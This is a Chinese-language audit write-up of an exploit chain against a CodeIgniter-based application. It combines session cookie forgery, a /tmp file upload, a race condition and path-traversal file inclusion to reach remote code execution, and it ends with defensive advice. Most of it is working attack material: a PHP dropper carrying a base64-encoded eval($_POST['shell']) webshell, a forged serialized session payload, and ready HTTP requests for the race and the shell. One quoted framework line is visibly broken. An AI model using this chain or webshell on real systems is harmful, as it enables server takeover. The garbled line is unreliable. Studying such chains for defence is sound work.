记一次跌宕起伏的白盒审计到RCE
字数 969 2025-08-06 08:35:41
CodeIgniter框架漏洞链分析与利用
漏洞链概述
本教学文档详细分析了一个针对CodeIgniter框架的复杂漏洞利用链,该链结合了多个经典漏洞类型,最终实现了远程代码执行(RCE)。整个利用过程涉及以下关键漏洞:
- Session伪造漏洞
- 任意文件上传漏洞
- 条件竞争漏洞
- 文件包含漏洞
1. 文件上传漏洞分析
漏洞位置
/uplaodController/uplaodMethod接口
漏洞代码
$fileInput = $_FILES;
$targetPath = "/tmp/";
$file = $targetPath . basename($fileInput['uploadedFile']['name']);
move_uploaded_file($fileInput['uploadedFile']['tmp_name'], $file);
$multipartParams = [ ...... ];
$result = apiRequest('POST', ...... $multipartParams);
if (file_exists($file)) {
unlink($file);
}
漏洞特点
- 文件上传到
/tmp/目录,保留原始文件名 - 上传后立即删除文件("卸磨杀驴"模式)
- 文件存在时间极短,需要条件竞争利用
利用思路
需要配合文件包含漏洞,在文件被删除前包含执行
2. 文件包含漏洞分析
漏洞位置
Meathods类的method1方法
漏洞代码
public function method1() {
header('Content-Type: application/json');
$response = array();
if ($this->input->is_ajax_request()) {
$data = $this->input->post(null, true);
if (empty($data)) {
$data = $this->input->get(null, true);
}
$class = $data['class'];
$method = $data['method'];
if ($this->isMethodAllowed($method)) {
unset($data['class']);
unset($data['method']);
$this->load->model($class);
$response = $this->$class->$method($data);
}
}
return;
}
关键点分析
$this->load->model($class)存在目录穿越漏洞model()方法内部实现:
public function model($model, $name = '', $db_conn = FALSE) {
$path = '';
if (($last_slash = strrpos($model,FALSE)) {
$path = substr($model, 0, $last_slash + 1);
$model = substr($model, $last_slash + 1);
}
// ...
foreach ($this->_ci_model_paths as $mod_path) {
if (!file_exists($mod_path.'models/'.$path.$model.'.php')) {
continue;
}
require_once($mod_path.'models/'.$path.$model.'.php');
$CI->$name = new $model();
return;
}
}
漏洞利用
- 通过
../实现目录穿越 - 可包含任意PHP文件并实例化其中的类
3. 权限绕过漏洞分析
鉴权机制
系统使用Hook机制进行权限检查,关键函数permissionCheck():
function permissionCheck() {
$user = $CI->load->get_var('auth_user');
$permissions = $user['permissions'];
if (!in_array($action, $allow)) {
if (!isset($permissions[$controller][$action])) {
redirect('permissions/unauthorized');
}
}
}
Session处理流程
readSess()函数处理cookie:
$session = $this->CI->input->cookie($this->sess_cookie_name);
if ($this->sess_encrypt_cookie == TRUE) {
$session = $this->CI->encrypt->decode($session);
}
$session = $this->_unserialize($session);
- 自定义数据存储:
$customUserdata = $this->userdata;
$cookieUserdata = array();
foreach (array(.....) as $val) {
unset($customUserdata[$val]);
$cookieUserdata[$val] = $this->userdata[$val];
}
$customUserdata = $this->_serialize($customUserdata);
$this->CI->db->update($this->sess_table_name, array('user_data' => $customUserdata));
漏洞利用
- 可伪造cookie中的序列化数据
- 通过添加
permission字段绕过权限检查
4. 完整利用链
第一步:构造恶意PHP文件
<?php
class TempClass {
function __construct() {
print('in __construct()\n');
file_put_contents('/tmp/TempClass2.php', base64_decode("PD9waHAKY2xhc3MgVGVtcENsYXNzMnsKCWZ1bmN0aW9uIF9fY29uc3RydWN0KCl7CiAgICAgICAgcHJpbnQoJ2luIF9fY29udHJ1Y3RcbicpOwoJCWV2YWwoJF9QT1NUWydzaGVsbCddKTsKCX0KCWZ1bmN0aW9uIGdldERhdGExKCRwYXJhbXMpewogICAgICAgIHByaW50KCdpbiBnZXREYXRhMScpOwoJCXZhcl9kdW1wKCRwYXJhbXMpOwoJfQp9"));
}
function getData1($params) {
print('in getData1()\n');
}
}
?>
第二步:伪造Session Cookie
- 获取合法用户的cookie并解密
- 添加权限字段:
a:5:{
s:10:"session_id";s:32:"...";
s:10:"ip_address";s:13:"...";
s:10:"user_agent";s:114:"...";
s:13:"last_activity";i:...;
s:10:"permission";a:1:{
s:16:"uploadController";a:1:{
s:12:"uploadMethod";s:1:"1";
}
}
}
- 重新加密生成新cookie
第三步:利用条件竞争
- 使用伪造cookie上传恶意文件
POST /uplaodController/uplaodMethod HTTP/1.1
Cookie: ci_session=伪造的cookie...
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="uploadedFile"; filename="TempClass.php"
Content-Type: image/png
<?php ...恶意代码... ?>
--boundary--
- 同时发起文件包含请求进行竞争
POST /Meathods/method1 HTTP/1.1
Cookie: ci_session=伪造的cookie...
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="class"
../tmp/TempClass
--boundary
Content-Disposition: form-data; name="method"
getData1
--boundary--
第四步:稳定利用
一旦竞争成功,会生成/tmp/TempClass2.php,包含以下代码:
<?php
class TempClass2 {
function __construct() {
print('in __contruct\n');
eval($_POST['shell']);
}
function getData1($params) {
print('in getData1');
var_dump($params);
}
}
?>
后续可通过包含此文件实现稳定RCE:
POST /Meathods/method1 HTTP/1.1
Cookie: ci_session=伪造的cookie...
Content-Type: multipart/form-data
--boundary
Content-Disposition: form-data; name="class"
../tmp/TempClass2
--boundary
Content-Disposition: form-data; name="method"
getData1
--boundary
Content-Disposition: form-data; name="shell"
phpinfo();
--boundary--
防御建议
-
文件上传:
- 限制上传文件类型
- 重命名上传文件
- 设置严格权限
-
文件包含:
- 禁止用户控制包含路径
- 使用白名单校验包含文件
-
Session安全:
- 加强cookie加密
- 验证session数据完整性
- 避免敏感数据存储在客户端
-
权限控制:
- 使用RBAC等成熟权限模型
- 服务端校验权限而非依赖客户端数据
-
代码质量:
- 避免危险函数直接使用用户输入
- 关键操作添加日志记录